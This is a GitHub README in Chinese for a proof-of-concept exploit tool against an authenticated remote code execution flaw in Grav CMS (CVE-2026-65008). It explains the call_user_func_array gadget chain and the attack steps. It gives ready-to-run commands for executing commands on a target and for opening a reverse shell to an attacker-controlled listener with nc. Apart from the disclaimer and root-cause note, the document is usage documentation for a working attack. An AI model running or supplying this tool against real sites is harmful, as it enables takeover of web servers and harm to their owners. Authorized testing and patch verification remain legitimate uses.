zer0dayf/CVE-2026-65008
GitHub: zer0dayf/CVE-2026-65008
针对 Grav CMS < 2.0.7 认证后 RCE 漏洞(CVE-2026-65008)的自动化概念验证利用工具,支持命令执行与反向 shell。
Stars: 0 | Forks: 0
# CVE-2026-65008 — Grav CMS < 2.0.7 认证后 RCE
**CVE-2026-65008** 的概念验证:通过 `Blueprint::dynamicData()` 中不受限制的 `call_user_func_array()` 实现的 Grav CMS 认证后远程代码执行。
拥有 `admin.pages`(或 `api.pages.write`)权限的用户可以植入恶意的表单 frontmatter。当**任何**访问者(包括未认证用户)加载该页面时,该 payload 就会以 Web 服务器用户的身份执行。
**仅限授权测试。** 仅在您拥有或获得明确书面测试许可的系统上使用。
## 根本原因
`Blueprint::dynamicData()` 将攻击者可控的 `Class::method` 回调及参数传递给 PHP `call_user_func_array()`,且没有任何白名单限制。结合 `Grav\Common\Utils::arrayFilterRecursive` 作为跳板,最终可调用 `system()` / `passthru()` 等。
已在 **Grav 2.0.7+** 版本中修复。
## CVSS
**9.8 严重** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
## 环境要求
- Python 3.10+
- `requests`
安装:
```
pip install -r requirements.txt
```
## 用法
### 命令执行
```
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
```
### 反向 shell
首先启动监听器:
```
nc -lvnp 4444
```
然后执行:
```
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
```
### 参数
| 标志 | 描述 |
|------|-------------|
| `-u, --url` | 目标基础 URL(**必填**) |
| `-U, --username` | Admin / 页面编辑用户(默认:`admin`) |
| `-P, --password` | 密码(**必填**) |
| `-c, --command` | 要执行的命令(默认:`id`) |
| `--lhost` | 反向 shell 的 LHOST |
| `--lport` | 反向 shell 的 LPORT(默认:`4444`) |
| `--folder` | 页面文件夹名称(默认:`rcepoc`) |
| `--no-verify` | 禁用 TLS 验证 |
## 流程
1. 登录 `/admin`(提取 `login-nonce`)
2. 从管理面板获取 `admin_nonce`
3. 保存一个其 frontmatter 包含 `data-opts@:` 利用链的页面
4. 通过未认证 GET 请求触发 → 以 `www-data` 身份执行 RCE
## 免责声明
本项目仅用于**教育和授权的安全研究**。作者不对任何滥用行为负责。在测试第三方系统之前,请务必获取书面许可。原始漏洞已通过厂商安全公告披露;本仓库仅用于演示实验室环境下的复现。
## 参考
- https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
- https://nvd.nist.gov/vuln/detail/CVE-2026-65008
- https://www.cve.org/CVERecord?id=CVE-2026-65008
## 许可证
仅用于研究目的。不提供任何担保。
标签:CISA项目, Python, RCE, Web安全, 威胁模拟, 无后门, 蓝队分析, 逆向工具